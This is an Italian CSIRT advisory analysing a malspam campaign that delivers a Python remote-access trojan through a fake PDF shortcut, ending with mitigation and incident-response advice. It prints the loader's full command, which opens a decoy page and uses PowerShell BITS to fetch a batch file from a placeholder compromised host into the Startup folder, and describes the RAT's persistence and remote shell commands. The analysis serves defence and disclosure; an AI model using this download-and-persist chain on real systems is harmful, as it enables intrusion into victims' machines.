CSIRT Toscana

Python RAT: analisi della campagna malspam (BL01/250606/CSIRT-ITA)

Data:
6 Giugno 2025

Descrizione e potenziali impatti

Questo CSIRT ha recentemente individuato una campagna di malspam mirata a organizzazioni situate in tutta europa, volta a diffondere un malware di tipo RAT attraverso risorse web compromesse, sfruttando il pretesto della consultazione di un documento online.

Nel dettaglio, il messaggio informa la potenziale vittima di un presunto e imminente aumento del canone TV, invitandola ad aprire un link dal quale sarebbe possibile scaricare un documento contenente maggiori dettagli.

In realtà il file, qualora prelevato, non risulta essere un documento, bensì un file eseguibile con estensione “.LNK” (collegamento di Windows) camuffato da “.PDF”, il cui scopo è avviare l’esecuzione di un loader.

Primo step: il loader

Il loader è un eseguibile estremamente semplice che, una volta avviato, esegue il seguente comando integrato nel codice:

C:\Windows\System32\cmd.exe" /c "start https://<SITO_COMPROMESSO_1>/a && powershell -command "start-bitstransfer https://<SITO_COMPROMESSO_2>/wp-admin/start.bat \"$env:USERPROFILE\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\start.bat\

Nel dettaglio, la prima parte del comando apre il browser predefinito della vittima sulla pagina indicata, che fa riferimento ad una risorsa compromessa, dove viene presentato il presunto dettaglio del suddetto aumento del canone: tale comportamento ha lo scopo di rendere più credibile la comunicazione.

Successivamente, solo se il passo precedente è andato a buon fine, viene utilizzato il modulo BITS (Background Intelligent Transfer Service) per prelevare in modo silenzioso il file start.bat da una ulteriore risorsa remota compromessa. Tale tecnica è tipicamente impiegata per eludere i controlli antivirus, poiché BITS è un componente legittimo di Windows.

Infine, il file scaricato viene salvato nella cartella Startup dell’utente, così da garantirne l’esecuzione automatica al successivo avvio del sistema.

Secondo step: lo stager

Al riavvio il sistema eseguirà il codice presente nello script “.BAT”, riportato in Figura 1.

Figura 1-Codice di start.bat
Figura 1-Codice di start.bat

Lo script adotta un comportamento piuttosto aggressivo: avvia un ciclo infinito che tenta ripetutamente di prelevare l’eseguibile NetworkService.exe da un’ulteriore risorsa compromessa, salvandolo nella directory %APPDATA% dell’utente, per poi procedere alla sua esecuzione.

In chiusura, il comando “del %~f0” – che rappresenta il percorso completo del file .BAT – consente allo script di eliminare se stesso al termine dell’esecuzione, rimuovendo la propria presenza dalla cartella di Startup e annullando, di conseguenza, il precedente meccanismo di persistenza.

Terzo step: il dropper

L’esecuzione di NetworkService.exe comporta il drop e l’avvio del payload finale. Più precisamente, si tratta di un eseguibile Python compilato con PyInstaller , strumento comunemente utilizzato per impacchettare script Python in file eseguibili standalone.

Figura 2-Ambiente Python
Figura 2-Ambiente Python

Al momento dell’esecuzione, il file estrae l’ambiente Python (Figura 2) necessario nella cartella temporanea dell’utente e avvia automaticamente il proprio codice.

Deoffuscamento

Dopo aver accertato che il sample è stato generato con PyInstaller, si è proceduto all’estrazione del contenuto (Figura 3) mediante PYestractor , uno script appositamente progettato per spacchettare il contenuto di file eseguibili creati con questo strumento.

Figura 3-Eseguibile spacchettato
Figura 3-Eseguibile spacchettato

L’analisi del contenuto estratto ha permesso di individuare il file new.pyc [1] che, tramite l’analisi delle stringhe (Figura 4), si è rivelato essere l’entry point del malware, ovvero il modulo iniziale dal quale ha inizio l’esecuzione del codice malevolo.

Figura 4-Individuazione dell’entry point
Figura 4-Individuazione dell’entry point

A seguito della decompilazione del bytecode presente nel file .pyc, è stato ottenuto uno script che impiega un’istruzione exec per eseguire del codice codificato in formato Base64 (Figura 5).

Figura 5-Bytecode decompilato
Figura 5-Bytecode decompilato

La decodifica della sezione in Base64 ha restituito un contenuto offuscato, caratterizzato dalla presenza di alias fuorvianti e stringhe deliberatamente inserite per schernire un eventuale analista (Figura 6).

Figura 6-Sezione del codice offuscata
Figura 6-Sezione del codice offuscata

Attraverso un’analisi introspettiva è stato possibile deoffuscare i contenuti codificati in Base64, convertire le stringhe in formato HEX e sostituire progressivamente gli alias utilizzati per complicare la lettura del codice.

Il risultato è uno script composto da una funzione di deoffuscamento che utilizza un generatore di numeri pseudocasuali inizializzato con un seme fisso. Questa configurazione produce una sequenza deterministica di valori, utilizzata per decodificare un ulteriore componente dati (Figura 7), che consiste nel payload del malware incorporato nel codice.

Figura 7-Decodifica del payload finale
Figura 7-Decodifica del payload finale

Quarto Step: il RAT

Al termine dell’intero processo di deoffuscamento e decodifica precedentemente descritto, si giunge al codice effettivo del malware: uno script Python che implementa un RAT (Figura 8).

Figura 8-Estratto di codice del RAT
Figura 8-Estratto di codice del RAT

Nel dettaglio, all’avvio il malware stabilisce la connessione con il server C2 e rimane in ascolto in attesa di comandi, tra i quali:

exit : non esegue alcuna azione sul sistema locale, ma invia al C2 una stringa che indica la chiusura della sessione;

info : trasmette al C2 il nome dell’utente loggato e quello del computer;

cls : invia al C2 la stringa “CLS”, presumibilmente per cancellare una schermata di output remota;

test : invia al C2 la stringa “test”;

persistence : verifica se il malware è stato eseguito in precedenza controllando una chiave di registro personalizzata:

  • se la chiave esiste, risponde al C2 con la stringa “yes” e prosegue l’esecuzione;
  • in caso contrario, crea una chiave di registro “HKCU\Software\Microsoft\Windows\CurrentVersion\Run” per garantire la persistenza e risponde al C2 con la stringa “no”;

cd : modifica la directory di lavoro corrente e comunica al C2 l’esito dell’operazione.

Qualora il comando ricevuto non figuri nell’elenco predefinito, lo script attiva un ramo alternativo che invoca una funzione in grado di eseguire tale input tramite shell e di inviare il relativo output al server C2.

Azioni di Mitigazione

Gli utenti e le organizzazioni possono far fronte a questa tipologia di attacchi attivando le seguenti misure preventive:

  • fornire periodiche sessioni di formazione finalizzate a riconoscere il phishing, diffidando in particolare dalle comunicazioni non attese che invitano ad aprire allegati sospetti;
  • non accedere a collegamenti internet o a relativi contenuti esterni se non si è certi dell’affidabilità della risorsa;
  • evitare di aprire file eseguibili (lnk, exe, bat, js, vbs, ecc.) o documenti contenenti macro se non si è certi della loro liceità.

Azioni di risposta agli incidenti

Qualora si riscontrino evidenze di avvenuta compromissione sui propri sistemi, si raccomanda agli utenti e alle organizzazioni di attuare le seguenti azioni:

  • collezionare eventuali evidenze, quali processi/servizi in esecuzione su dispositivi target, log di rete e log di autenticazione considerati non convenzionali;
  • porre in isolamento e/o offline gli host potenzialmente interessati dalla compromissione;
  • ripristinare gli host compromessi ad un’immagine precedente consistente (dopo aver espletato le necessarie attività forensi);
  • resettare gli account degli utenti interessati dalla compromissione;
  • segnalare tempestivamente a questo CSIRT, tramite il portale https://segnalazioni.acn.gov.it/ l’evento occorso.

[1] Un file .pyc (Python Compiled) è un file compilato generato automaticamente dall’interprete Python quando uno script .py viene eseguito. Contiene il bytecode , una versione intermedia del codice Python leggibile dall’interprete.

Change log

Versione Note Data
2.0 Pubblicato il 06-06-2025 06/06/2025

Il presente articolo è un prodotto originale di csirt.gov.it, riproposto qui a solo scopo di aumentarne la visibilità. Può essere visualizzato in versione originale al seguente link

Ultimo aggiornamento

6 Giugno 2025, 09:00